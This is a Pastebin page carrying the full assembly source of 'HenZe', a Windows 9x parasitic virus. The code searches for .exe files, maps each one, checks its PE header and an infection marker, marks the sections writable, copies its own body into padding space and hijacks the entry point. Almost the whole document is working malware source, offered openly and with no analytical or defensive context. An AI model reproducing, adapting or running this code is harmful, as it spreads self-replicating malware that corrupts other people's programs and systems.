Advertisement
FlyFar

Win5.Virus.Henze - Source Code

May 17th, 2024
441
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASM (NASM) 11.88 KB | Cybersecurity | 0 0
  1. ;----------------------------  W95 HenZe BY HenKy -----------------------------
  2. ;
  3. ;-AUTHOR:        HenKy
  4. ;
  5. ;-MAIL:          HenKy_@latinmail.com
  6. ;
  7. ;-ORIGIN:        SPAIN
  8. ;
  9.  
  10.  
  11. .586P
  12. .MODEL FLAT
  13. LOCALS
  14.  
  15.  
  16. EXTRN       ExitProcess:PROC
  17.  
  18. KERNEL95    EQU 0BFF70000h
  19. MIX_SIZ     EQU FILE_END-MEGAMIX
  20. MIX_MEM     EQU MEM_END-MEGAMIX
  21. NABLA       EQU DELTA-MEGAMIX
  22. MARKA       EQU 66
  23. FLAGZ       EQU 00000020H OR 20000000H OR 80000000H
  24. MAX_PATH    EQU 260
  25.  
  26. MACROSIZE   MACRO
  27.  
  28.             DB      MIX_SIZ/01000 mod 10 + "0"
  29.             DB      MIX_SIZ/00100 mod 10 + "0"
  30.             DB      MIX_SIZ/00010 mod 10 + "0"
  31.             DB      MIX_SIZ/00001 mod 10 + "0"
  32.  
  33.             ENDM
  34.  
  35.     ; LAME W9X PARASITIC RUNTIME PADDINGX OVERWRITER
  36.     ; INFECTED FILES WONT GROW, BUT NEED PADDINGX SERIES (USSUALLY AT RELOC SECTION)
  37.  
  38.     ; MOV
  39.     ; CALL
  40.     ; JNZ      ONLY SIX OPCODES WERE USED.. xDDD
  41.     ; ADD   /
  42.     ; SUB  /
  43.     ; CMP /
  44.  
  45.          ; AND NO INDEXING MODE (EASY DISASM CODE)
  46.  
  47.         ;MOV EAX,[EBP+5]
  48.  
  49.         ;TURNS INTO:
  50.  
  51.         ; ADD EBP,5
  52.         ; MOV EAX,[EBP]
  53.  
  54.         ;AND SO...
  55.  
  56.        ; *INFINITE* THX TO T00FiC FOR THE REDUCED OPCODE SET IDEA AND
  57.  
  58.        ;  SEVERAL META TIPS
  59.  
  60. .DATA
  61.  
  62. copyrisgt   DB 'HenZe '
  63.  
  64.         MACROSIZE
  65. .CODE
  66.  
  67.            ; BIZARRE VIRUS BEGINS...
  68. MEGAMIX:
  69.  
  70.  
  71.         MOV     EAX, 401005H
  72.    MILO EQU     $-4
  73. DELTA:
  74.         MOV     EBP,EAX
  75. WINES:
  76.         MOV     EAX,KERNEL95
  77.         MOV     CL,'M'
  78.         CMP     BYTE PTR [EAX],CL
  79.         JNZ     WARNING
  80.         MOV     EBX,EAX
  81.         MOV     EDX,02b226A57h ; GPA SIGNATURE FOR W9X
  82.  
  83. BUSCA3:
  84.         ADD     EAX,1
  85.         CMP     DWORD PTR [EAX],EDX
  86.         JNZ     SHORT BUSCA3
  87.  APIZ:
  88.  
  89.         MOV     ECX,OFFSET GPA
  90.         ADD     ECX,EBP
  91.         SUB     ECX,OFFSET DELTA
  92.         MOV     [ECX],EAX
  93.         MOV     ESI, OFFSET APIs
  94.         ADD     ESI,EBP
  95.         SUB     ESI,OFFSET DELTA
  96.         MOV     EDI,OFFSET APIaddresses
  97.         ADD     EDI,EBP
  98.         SUB     EDI,OFFSET DELTA
  99.  
  100. GPI:    SUB     ESP,4
  101.         MOV     [ESP],ESI
  102.         SUB     ESP,4
  103.         MOV     [ESP],EBX
  104.         MOV     ECX,OFFSET GPA
  105.         ADD     ECX,EBP
  106.         SUB     ECX,OFFSET DELTA
  107.         CALL    [ECX]
  108.  
  109.         MOV     [EDI],EAX
  110.         ADD     EDI,4
  111.  
  112.  
  113.  NPI:
  114.         MOV     AL,BYTE PTR [ESI]
  115.         ADD     ESI,1
  116.  
  117.         CMP     AL,0
  118.         JNZ     SHORT NPI
  119.         CMP     [ESI], AL
  120.         JNZ     GPI
  121.  
  122.  
  123.  
  124. INFECT:
  125.  
  126.         MOV     EAX, OFFSET Win32FindData
  127.         ADD     EAX,EBP
  128.         SUB     EAX,OFFSET DELTA
  129.         SUB     ESP,4
  130.         MOV     [ESP],EAX
  131.         MOV     EAX,OFFSET IMASK
  132.         ADD     EAX,EBP
  133.         SUB     EAX,OFFSET DELTA
  134.         SUB     ESP,4
  135.         MOV     [ESP],EAX
  136.         MOV     EAX,OFFSET FindFirstFile
  137.         ADD     EAX,EBP
  138.         SUB     EAX,OFFSET DELTA
  139.         CALL    [EAX]
  140.         MOV     EBX, OFFSET SearcHandle
  141.         ADD     EBX,EBP
  142.         SUB     EBX,OFFSET DELTA
  143.         MOV     [EBX],EAX
  144.  
  145.  
  146. LOOPER:
  147.         CMP     EAX,-1
  148.         JNZ     SUPPER
  149.  
  150.  
  151. WARNING:
  152.  
  153.         MOV     EAX,12345678H
  154.         ORG     $-4
  155. OLD_EIP DD      00401000H
  156.         ADD     ESP,4
  157.         CALL    EAX   ; SUXXX!!! I DONT WANT TO WASTE JMP HERE
  158.  
  159. SUPPER:
  160.  
  161.         CMP      EAX,0
  162.         JNZ      ALLKEY
  163. PILLE:
  164.         CMP      ESP,0   ; ESP NEVER IS ZERO
  165.         JNZ      WARNING
  166.  
  167. ALLKEY:
  168.  
  169.         SUB     ESP,4
  170.         MOV     EAX,OFFSET OLD_EIP
  171.         ADD     EAX,EBP
  172.         SUB     EAX,OFFSET DELTA
  173.         MOV     EBX,[EAX]
  174.         MOV     [ESP],EBX
  175.         SUB     ESP,4
  176.         MOV     [ESP],EDX
  177.         SUB     ESP,4
  178.         MOV     [ESP],00000080h
  179.         SUB     ESP,4
  180.         MOV     [ESP],3
  181.         SUB     ESP,4
  182.         MOV     [ESP],EDX
  183.         SUB     ESP,4
  184.         MOV     [ESP],EDX
  185.         SUB     ESP,4
  186.         MOV     [ESP],0C0000000h
  187.  
  188.         MOV     EAX ,offset FNAME        ; OPEN IT!
  189.         ADD     EAX,EBP
  190.         SUB     EAX,OFFSET DELTA
  191.         SUB     ESP,4
  192.         MOV     [ESP],EAX
  193.         MOV     EAX, OFFSET CreateFile
  194.         ADD     EAX,EBP
  195.         SUB     EAX,OFFSET DELTA
  196.         CALL    [EAX]
  197.  
  198.         MOV     EBX,OFFSET FileHandle
  199.         ADD     EBX,EBP
  200.         SUB     EBX, OFFSET DELTA
  201.         MOV     [EBX],EAX  ; SAVE HNDL
  202.         MOV     EBX,OFFSET WFD_nFileSizeLow
  203.         ADD     EBX,EBP
  204.         SUB     EBX, OFFSET DELTA
  205.         MOV     ECX, [EBX]
  206.  
  207.         MOV     EDX,0
  208.         SUB     ESP,4
  209.         MOV     [ESP],EDX
  210.         SUB     ESP,4
  211.         MOV     [ESP],ECX
  212.         SUB     ESP,4
  213.         MOV     [ESP],EDX
  214.         SUB     ESP,4
  215.         MOV     [ESP],4H
  216.         SUB     ESP,4
  217.         MOV     [ESP],EDX
  218.  
  219.         SUB     ESP,4
  220.         MOV     EBX,OFFSET FileHandle
  221.         ADD     EBX,EBP
  222.         SUB     EBX,OFFSET DELTA
  223.         MOV     ECX,[EBX]
  224.         MOV     [ESP],ECX
  225.         MOV     EAX, OFFSET CreateFileMappingA
  226.         ADD     EAX,EBP
  227.         SUB     EAX,OFFSET DELTA
  228.         CALL    [EAX]
  229.  
  230.         MOV     EBX,OFFSET MapHandle
  231.         ADD     EBX,EBP
  232.         SUB     EBX, OFFSET DELTA
  233.         MOV     [EBX],EAX
  234.  
  235.         MOV     EBX,OFFSET WFD_nFileSizeLow
  236.         ADD     EBX,EBP
  237.         SUB     EBX, OFFSET DELTA
  238.         MOV     ECX, [EBX]
  239.  
  240.         MOV     EDX,0
  241.         SUB     ESP,4
  242.         MOV     [ESP],ECX
  243.         SUB     ESP,4
  244.         MOV     [ESP],EDX
  245.         SUB     ESP,4
  246.         MOV     [ESP],EDX
  247.         ADD     EDX,2
  248.         SUB     ESP,4
  249.         MOV     [ESP],EDX
  250.         SUB     ESP,4
  251.         MOV     ECX, OFFSET MapHandle
  252.         ADD     ECX,EBP
  253.         SUB     ECX,OFFSET DELTA
  254.         MOV     EBX,[ECX]
  255.         MOV     [ESP],EBX
  256.         MOV     EBX, OFFSET MapViewOfFile
  257.         ADD     EBX,EBP
  258.         SUB     EBX,OFFSET DELTA
  259.         CALL    [EBX]
  260.  
  261.         MOV     EBX,OFFSET  MapAddress
  262.         ADD     EBX,EBP
  263.         SUB     EBX,OFFSET DELTA
  264.         MOV     [EBX],EAX
  265.         MOV     ESI,EAX                         ; GET PE HDR
  266.         MOV     EDX,EAX
  267.         ADD     EAX,3CH
  268.         MOV     ESI,[EAX]
  269.         ADD     ESI,EDX
  270.         CMP     BYTE PTR [ESI],"P"            ; IS A 'P'E ?
  271.         JNZ     Cerrar
  272.         ADD     ESI,MARKA
  273.         CMP     BYTE PTR [ESI],"H"     ; HenKy IS HERE ?
  274.         JNZ     Cerrar1
  275.         CMP     ESP,0
  276.         JNZ     Cerrar
  277.  
  278. Cerrar1:
  279.         SUB     ESI,MARKA
  280.         MOV     EBX,ESI
  281.         ADD     EBX,3CH
  282.         MOV     EAX,[EBX] ; ONLY SOME W98  HAVE 1000H/1000H INSTEAD 1000H/200H
  283.         MOV     ECX,ESI
  284.         ADD     ECX,56
  285.         CMP     EAX,[ECX]
  286.         JNZ     Cerrar
  287.  
  288.         SUB     ESP,4
  289.         MOV     [ESP],ESI
  290.         MOV     ECX,0
  291.         MOV     EDI,ESI
  292.         ADD     EDI,6
  293.         MOV     CL,BYTE PTR [EDI]
  294.         ADD     EDI,74H-6
  295.         MOV     EBX,[EDI]
  296.         ADD     EBX,EBX
  297.         ADD     EBX,EBX
  298.         ADD     EBX,EBX
  299.         ADD     ESI,78H
  300.         ADD     ESI,EBX
  301.         ADD     ESI,24H
  302.  WRI:
  303.         MOV     DWORD PTR [ESI], 0C0000040h
  304.         ADD     ESI,40
  305.         SUB     ECX,1
  306.         CMP     ECX,0
  307.         JNZ     WRI
  308.  
  309.         MOV     ESI,[ESP]
  310.         ADD     ESP,4
  311.  
  312.         MOV     EDI,ESI
  313.         ADD     ESI,28H
  314.         MOV     EAX,[ESI]
  315.         ADD     ESI,34H-28H
  316.         ADD     EAX,[ESI]
  317.         MOV     ECX,[ESI]
  318.         MOV     EDX,OFFSET BASE
  319.         ADD     EDX,EBP
  320.         SUB     EDX,OFFSET DELTA
  321.         MOV     [EDX],ECX
  322.         MOV     EBX,OFFSET OLD_EIP
  323.         ADD     EBX,EBP
  324.         SUB     EBX,OFFSET DELTA
  325.         MOV     [EBX],EAX
  326.         MOV     ESI,EDI
  327.         ADD     ESI,MARKA
  328.         MOV     BYTE PTR [ESI],"H" ;  HenKy!
  329.         MOV     EAX,OFFSET WFD_nFileSizeLow
  330.         ADD     EAX,EBP
  331.         SUB     EAX,OFFSET DELTA
  332.         MOV     ECX,[EAX]
  333.         MOV     EAX,EDI
  334.  BU:
  335.         CMP     DWORD PTR [EDI], 'XGNI'
  336.         JNZ     PE
  337.         CMP     ESP,0
  338.         JNZ     PO
  339.  
  340.  PE:
  341.         ADD     EDI,1
  342.         SUB     ECX,1
  343.         CMP     ECX,0
  344.         JNZ     BU
  345.         CMP     ESP,0
  346.         JNZ     Cerrar
  347.  
  348. PO:
  349.         MOV     ESI,EDI
  350.         ADD     ESI,4
  351.         CMP     DWORD PTR [ESI], 'DAPX'
  352.         JNZ     PE
  353.         SUB     ESP,4
  354.         MOV     [ESP],EDI
  355.         MOV     EBX,OFFSET MapAddress
  356.         ADD     EBX,EBP
  357.         SUB     EBX,OFFSET DELTA
  358.         SUB     EDI,[EBX]
  359.         ADD     EAX,28H
  360.         MOV     [EAX],EDI
  361.         MOV     EBX,OFFSET BASE
  362.         ADD     EBX,EBP
  363.         SUB     EBX,OFFSET DELTA
  364.         ADD     EDI,[EBX]
  365.         ADD     EDI,5
  366.         MOV     EDX,OFFSET MILO
  367.         ADD     EDX,EBP
  368.         SUB     EDX,OFFSET DELTA
  369.         MOV     [EDX],EDI
  370.  
  371.         MOV     EDI,[ESP]
  372.         ADD     ESP,4
  373.  
  374.         MOV     ESI,OFFSET MEGAMIX
  375.         ADD     ESI,EBP
  376.         SUB     ESI,OFFSET DELTA
  377.         MOV     ECX,MIX_SIZ/4
  378.  
  379. BASTARDO_VIRUS:
  380.  
  381.         MOV     EAX,[ESI]
  382.         MOV     [EDI],EAX
  383.         ADD     ESI,4
  384.         ADD     EDI,4
  385.         SUB     ECX,1
  386.         CMP     ECX,0
  387.         JNZ     BASTARDO_VIRUS
  388.  
  389. UnMapFile:
  390.  
  391.         MOV     EAX, OFFSET MapAddress
  392.         ADD     EAX,EBP
  393.         SUB     EAX,OFFSET DELTA
  394.         SUB     ESP,4
  395.         MOV     [ESP],EAX
  396.         MOV     EAX, OFFSET UnmapViewOfFile
  397.         ADD     EAX,EBP
  398.         SUB     EAX,OFFSET DELTA
  399.         CALL    [EAX]
  400.  
  401. CloseMap:
  402.  
  403.         MOV     EAX, OFFSET MapHandle
  404.         ADD     EAX,EBP
  405.         SUB     EAX,OFFSET DELTA
  406.         SUB     ESP,4
  407.         MOV     [ESP],EAX
  408.         MOV     EAX, OFFSET CloseHandle
  409.         ADD     EAX,EBP
  410.         SUB     EAX,OFFSET DELTA
  411.         CALL    [EAX]
  412.  
  413.  
  414. Cerrar:
  415.  
  416.         MOV     EAX,OFFSET OLD_EIP
  417.         ADD     EAX,EBP
  418.         SUB     EAX,OFFSET DELTA
  419.         MOV     EBX,[ESP]
  420.         MOV     [EAX],EBX
  421.         ADD     ESP,4
  422.  
  423.         MOV     EAX, OFFSET FileHandle
  424.         ADD     EAX,EBP
  425.         SUB     EAX,OFFSET DELTA
  426.         SUB     ESP,4
  427.         MOV     [ESP],EAX
  428.         MOV     EAX, OFFSET CloseHandle
  429.         ADD     EAX,EBP
  430.         SUB     EAX,OFFSET DELTA
  431.         CALL    [EAX]
  432.  
  433.  
  434. TOPO:
  435.  
  436.  
  437.         MOV     EAX, offset Win32FindData
  438.         ADD     EAX,EBP
  439.         SUB     EAX,OFFSET DELTA
  440.         SUB     ESP,4
  441.         MOV     [ESP],EAX
  442.  
  443.         MOV     EAX, OFFSET SearcHandle
  444.         ADD     EAX,EBP
  445.         SUB     EAX,OFFSET DELTA
  446.         SUB     ESP,4
  447.         MOV     [ESP],EAX
  448.         MOV     EAX, OFFSET FindNextFile
  449.         ADD     EAX,EBP
  450.         SUB     EAX,OFFSET DELTA
  451.         CALL    [EAX]
  452.         CMP     ESP,0
  453.         JNZ     LOOPER
  454.  
  455.  
  456. APIs:
  457.         DB      "CreateFileA",0
  458.         DB      "CloseHandle",0
  459.         DB      "FindFirstFileA",0
  460.         DB      "FindNextFileA",0
  461.         DB      "MapViewOfFile",0
  462.         DB      "UnmapViewOfFile",0
  463.         DB      "CreateFileMappingA",0
  464. Zero_   DB        0
  465. BASE    DD        0
  466.  
  467. IMASK   DB       '*.ExE',0
  468.         DB        'HenZe LameVirus BY HenKy',0
  469.  
  470. align 4
  471.  
  472. FILE_END               LABEL BYTE
  473.  
  474. APIaddresses:
  475.  
  476. CreateFile          DD 0
  477. CloseHandle         DD 0
  478. FindFirstFile       DD 0
  479. FindNextFile        DD 0
  480. MapViewOfFile       DD 0
  481. UnmapViewOfFile     DD 0
  482. CreateFileMappingA  DD 0
  483. GPA                 DD 0
  484. SearcHandle         DD 0
  485. FileHandle          DD 0
  486. MapHandle           DD 0
  487. MapAddress          DD 0
  488.  
  489. FILETIME                STRUC
  490.  
  491. FT_dwLowDateTime        DD      ?
  492. FT_dwHighDateTime       DD      ?
  493.  
  494. FILETIME                ENDS
  495.  
  496. Win32FindData:
  497.  
  498. WFD_dwFileAttributes    DD      ?
  499. WFD_ftCreationTime      FILETIME ?
  500. WFD_ftLastAccessTime    FILETIME ?
  501. WFD_ftLastWriteTime     FILETIME ?
  502. WFD_nFileSizeHigh       DD      ?
  503. WFD_nFileSizeLow        DD      ?
  504. WFD_dwReserved0         DD      ?
  505. WFD_dwReserved1         DD      ?
  506. FNAME                   DD      0
  507.                         DD      0
  508.                         DD      0
  509.                         DD      0
  510.                         DD      0
  511.                         DD      0
  512. align 4
  513.  
  514.  
  515. MEM_END                LABEL BYTE
  516.  
  517. EXITPROC:
  518.  
  519.         PUSH 0
  520.         CALL ExitProcess
  521.  
  522. ENDS
  523. END MEGAMIX
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement